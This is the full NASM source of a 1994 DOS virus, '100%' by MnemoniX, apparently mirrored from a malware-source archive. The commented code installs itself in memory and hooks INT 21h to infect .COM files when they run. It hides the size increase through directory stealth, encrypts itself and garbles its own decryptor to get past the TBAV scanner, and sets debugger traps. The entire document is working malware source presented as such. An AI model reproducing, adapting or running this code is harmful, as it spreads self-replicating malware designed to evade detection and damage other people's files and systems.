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https://github.com/vxunderground/MalwareSourceCode.git
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413 lines
15 KiB
NASM
413 lines
15 KiB
NASM
; =======================================================================>
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; 100% By MnemoniX - 1994
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;
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; This is a memory resident .COM infector which hides itself using
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; directory stealth (11/12 and 4E/4F). To avoid setting heuristic
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; flags in TBAV, it overwrites part of the decryption routine with
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; garbage and adds instructions to repair it on the header of the
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; program. Runs through TBAV flawlessly. Examine it in action and
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; observe for yourself.
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;
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; This virus also includes debugger traps to thwart tracing.
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; =======================================================================>
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PING equ 30F4h ; give INT 21 this value ...
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PONG equ 0DEADh ; if this returns we're res.
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ID equ '%0' ; ID marker
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HEADER_SIZE equ 22 ; 22 - byte .COM header
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MARKER equ 20 ; marker at offset 20
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code segment byte public 'code'
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org 100h
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assume cs:code
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start:
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db 17 dup (90h) ; simulate infected program
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jmp virus_begin ; a real host program will
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dw ID ; have some MOVs at the
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host:
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db 0CDh,20h ; beginning
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db 20 dup(90h)
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virus_begin:
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db 0BBh ; mov bx,offset viral_code
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code_offset dw offset virus_code
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db 0B8h ; mov ax,cipher
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cipher dw 0
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mov cx,VIRUS_SIZE / 2 + 1 ; mov cx,length of code
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decrypt:
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xor [bx],ax ; in real infections,
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ror ax,1 ; portions of this code
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inc bx ; will be replaced with
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inc bx ; dummy bytes, which will be
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loop decrypt ; fixed up by the header.
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; this complicates scanning
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virus_code:
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call $+3 ; BP is instruction pointer
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pop bp
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sub bp,offset $-1
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xor ax,ax ; anti-trace ...
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mov es,ax ; set interrupts 0-3 to point
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mov di,ax ; to The Great Void in high
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dec ax ; memory ...
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mov cl,8
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rep movsw
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mov ax,PING ; test for residency
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int 21h
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cmp bx,PONG
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je installed
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in al,21h ; another anti-debugger
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xor al,2 ; routine ... lock out
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out 21h,al ; keyboard
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xor al,2
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out 21h,al
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mov ax,ds ; not resident - install
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dec ax ; ourselves in memory
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mov ds,ax
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sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
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sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
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mov ax,ds:[12h]
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mov ds,ax
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sub ax,15
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mov es,ax
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mov byte ptr ds:[0],'Z'
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mov word ptr ds:[1],8
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mov word ptr ds:[3],(MEM_SIZE + 15) / 16
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push cs ; now move virus into memory
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pop ds
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mov di,100h
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mov cx,(offset virus_end - offset start) / 2
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lea si,[bp + offset start]
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rep movsw
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xor ax,ax ; change interrupt 21 to point
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mov ds,ax ; to ourselves
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mov si,21h * 4
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mov di,offset old_int_21 ; (saving original int 21)
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movsw
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movsw
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mov word ptr ds:[si - 2],0 ; anti-trace - temporarily
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; kill int 21
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mov ds:[si - 4],offset new_int_21
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mov ds:[si - 2],es
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installed:
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push cs ; restore segregs
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push cs
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pop ds
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pop es
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lea si,[bp + offset host] ; and restore original
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mov di,100h ; bytes of program
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push di
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mov cx,HEADER_SIZE
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rep movsb
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ret ; and we're done
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; Interrupt 21 handler - trap file execute, search, open, read, and
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; moves to the end of the file.
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int_21:
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pushf
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call dword ptr cs:[old_int_21]
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ret
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new_int_21:
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cmp ax,30F4h ; residency test?
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je test_pass ; yes ....
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cmp ax,4B00h ; file execute?
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jne stealth
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jmp execute ; yes, infect ...
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stealth:
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cmp ah,11h ; directory stealth
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je dir_stealth_1
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cmp ah,12h
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je dir_stealth_1
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cmp ah,4Eh ; more directory stealth
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je dir_stealth_2
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cmp ah,4Fh
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je dir_stealth_2
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int_21_exit:
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db 0EAh ; never mind ...
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old_int_21 dd 0
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test_pass:
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call int_21 ; get real DOS version
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mov bx,PONG ; and give pass signal
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iret
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dir_stealth_1:
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call int_21 ; perform directory search
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cmp al,-1 ; no more files?
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jne check_file
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iret ; no, skip it
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check_file:
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push ax bx es ; check file for infection
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mov ah,2Fh
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int 21h
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cmp byte ptr es:[bx],-1 ; check for extended FCB
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jne no_ext_FCB
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add bx,7
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no_ext_FCB:
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cmp word ptr es:[bx + 9],'OC'
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jne fixed ; not .COM file, ignore
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mov ax,word ptr es:[bx + 17h]
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and al,31 ; check seconds -
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cmp al,26 ; if 52, infected
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jne fixed
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sub word ptr es:[bx + 1Dh],VIRUS_SIZE + HEADER_SIZE
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sbb word ptr es:[bx + 1Fh],0
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fixed:
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pop es bx ax
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iret
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dir_stealth_2:
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call int_21 ; perform file search
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jnc check_file_2 ; if found, proceed
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retf 2 ; nope, leave
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check_file_2:
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push ax bx si es
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mov ah,2Fh ; find DTA
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int 21h
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xor si,si ; verify that this is a .COM
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find_ext:
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cmp byte ptr es:[bx + si],'.'
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je found_ext
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inc si
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jmp find_ext
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found_ext:
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cmp word ptr es:[bx + si + 1],'OC'
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jne fixed_2 ; if not .COM, skip
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mov ax,word ptr es:[bx + 16h]
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and al,31 ; check for infection marker
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cmp al,26
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jne fixed_2 ; not found, skip
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sub word ptr es:[bx + 1Ah],VIRUS_SIZE + HEADER_SIZE
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sbb word ptr es:[bx + 1Ch],0
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fixed_2:
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pop es si bx ax ; done
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clc
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retf 2
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execute:
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push ax bx cx dx di ds es ; file execute ... check
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; if uninfected .COM file,
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mov ax,3D00h ; and if so, infect
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call int_21
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jnc read_header
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jmp exec_exit ; can't open, leave
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read_header:
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xchg ax,bx
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push bx ; save file handle
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mov ax,1220h ; get system file table
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int 2Fh ; entry
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nop ; remove this if you don't
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; mind scanning as [512] under
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; SCAN ...
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mov bl,es:[di] ; get number of the SFT
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mov ax,1216h ; for this handle
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int 2Fh ; ES:DI now points to SFT
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pop bx
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mov word ptr es:[di + 2],2 ; change open mode to R/W
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push word ptr es:[di + 13] ; save file date
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push word ptr es:[di + 15] ; and file time
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mov ax,word ptr es:[di + 11h]
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cmp ax,62579 - VIRUS_SIZE ; too big?
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je exec_close
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cmp ax,22 ; too small?
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jb exec_close
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add ax,HEADER_SIZE - 3 ; calculate virus offset
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push cs
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pop ds
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mov ds:virus_offset,ax
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mov ah,3Fh ; read header of file
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mov cx,HEADER_SIZE ; to check for infection
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mov dx,offset read_buffer
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call int_21
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cmp word ptr ds:read_buffer,'ZM'
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je exec_close ; don't infect .EXE
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cmp word ptr ds:read_buffer[MARKER],ID ; if infected
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je exec_close ; already, skip it
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mov ax,4202h ; move to end of file
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call move_ptr_write
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mov dx,offset read_buffer ; and save header
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call int_21
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call encrypt_code ; encrypt the virus code
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call create_header ; and create unique header
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mov ah,40h
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mov cx,VIRUS_SIZE ; write virus code to file
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mov dx,offset encrypt_buffer
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int 21h
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mov ax,4200h ; back to beginning of file
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call move_ptr_write
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mov dx,offset new_header ; write new header
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call int_21
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pop dx ; restore file date & time
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pop cx
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and cl,0E0h ; but with timestamp
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or cl,26
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mov ax,5701h
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int 21h
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mov ah,3Eh ; close file
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int 21h
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exec_exit:
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pop es ds di dx cx bx ax
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jmp int_21_exit
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move_ptr_write:
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cwd ; move file pointer
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xor cx,cx
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int 21h
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mov cx,HEADER_SIZE ; and prepare for write
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mov ah,40h ; to file
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ret
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exec_close:
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pop ax ax ; clean off stack
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mov ah,3Eh ; and close
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int 21h
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jmp exec_exit
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encrypt_code proc near
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push si es
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push cs
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pop es
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xor ah,ah ; get random no.
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int 1Ah ; and store in decryption
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mov cipher,dx ; module
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mov ax,ds:virus_offset
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add ax,DECRYPTOR_SIZE + 103h
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mov code_offset,ax
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mov si,offset virus_begin ; first store header
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mov di,offset encrypt_buffer
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mov cx,DECRYPTOR_SIZE
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rep movsb ; (unencryted)
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mov cx,ENCRYPTED_SIZE / 2 + 1 ; now encrypt & store code
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encrypt:
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lodsw ; simple encryption routine
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xor ax,dx
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ror dx,1
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stosw
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loop encrypt
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pop es si
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ret
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encrypt_code endp
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create_header proc near
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mov ax,ds:virus_offset ; fix up addresses in new
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add ax,103h + (offset decrypt - offset virus_begin)
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mov ds:mov_1,ax ; header
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inc ax
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inc ax
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mov ds:mov_2,ax
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xor ah,ah ; fill in useless MOVs
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int 1Ah ; with random bytes
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mov ds:mov_al,cl
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mov ds:mov_ax,dx
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push es cs
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pop es
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mov di,offset encrypt_buffer
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add di,offset decrypt - offset virus_begin
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mov ax,dx ; now fill decryption module
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neg ax ; with some garbage
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stosw
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rol ax,1
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stosw
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pop es
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sub word ptr ds:virus_offset,17 ; fix up JMP instruction
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ret ; done
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create_header endp
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new_header db 0C7h,06
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mov_1 dw 00
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db 31h,07 ; first MOV 6
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db 0B0h
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mov_al db 00 ; a nothing MOV AL, 2
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db 0C7h,06
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mov_2 dw 00
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db 0D1h,0C8h ; second MOV 6
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db 0B8h
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mov_ax dw 00 ; a nothing MOV AX, 3
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db 0E9h ; jump instruction 1
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virus_offset dw 0 ; virus offset 2
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dw ID ; ID marker 2
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; total bytes = 22
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sig db '[100%] By MnemoniX 1994',0
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virus_end:
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VIRUS_SIZE equ offset virus_end - offset virus_begin
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read_buffer dw HEADER_SIZE dup (?) ; storage for orig header
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encrypt_buffer dw VIRUS_SIZE dup (?) ; storage for encrypted virus
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heap_end:
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MEM_SIZE equ offset heap_end - offset start
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DECRYPTOR_SIZE equ offset virus_code - offset virus_begin
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ENCRYPTED_SIZE equ offset virus_end - offset virus_code
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code ends
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end start
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